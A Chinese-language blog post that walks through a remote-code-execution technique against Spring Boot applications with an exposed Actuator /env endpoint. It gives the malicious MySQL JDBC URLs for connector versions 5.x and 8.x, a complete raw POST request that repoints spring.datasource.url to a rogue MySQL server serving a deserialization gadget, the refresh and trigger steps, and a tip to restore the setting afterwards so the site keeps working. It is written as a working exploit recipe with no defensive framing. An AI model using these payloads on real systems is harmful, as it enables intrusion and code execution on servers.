通过mysql jdbc 反序列化触发的 SpringBoot RCE 新利用方法

一:背景

在整理 SpringBoot 通过暴露的 /env 接口进行 RCE 的多种利用方法时,发现 /env 接口暴露的大部分属性都能通过 POST 请求重新设置。

当看到暴露的 spring.datasource.url 的属性值为 jdbc:mysql://xxx 时,联想到通过控制 JDBC URL 利用 mysql-connector-java 组件进行反序列化攻击的方法,所以就进行测试了下,有了此文。

二:利用方法

0x00:启动 rogue mysql server

复制文章 java jdbc 反序列漏洞的自动化利用 中提供的脚本,设置好反序列化 gadget 并在服务器上启动脚本。

0x01:设置并刷新 env

根据 /env 接口暴露的属性名 spring.datasource.url ,和实际的 mysql-connector-java 版本,设置 jdbc url

  • mysql-connector-java 5.x
jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
  • mysql-connector-java 8.x
jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

完整发包:

POST /actuator/env HTTP/1.1
Host: test.landgrey.me:9999
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 212

{"name":"spring.datasource.url","value": "jdbc:mysql://127.0.0.1:33306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}

然后通过 /refresh 接口刷新配置

0x02:触发数据库查询

本地测试时,发现此时 /env 接口旧的 spring.datasource.url 属性值并没有被替换,而是在开头 properties 里新增了一个刚设置的属性值,不过并不影响漏洞利用。

此时需要触发源网站的随意的数据库查询,比如访问 /product/list 接口,然后漏洞会被触发。

0x03:恢复数据库设置

需要注意的是:漏洞利用完毕后,需要再通过 POST /envspring.datasource.url 属性设置为网站原来的值,不然网站的一些正常数据库查询将会一直不可用。

标签   

评论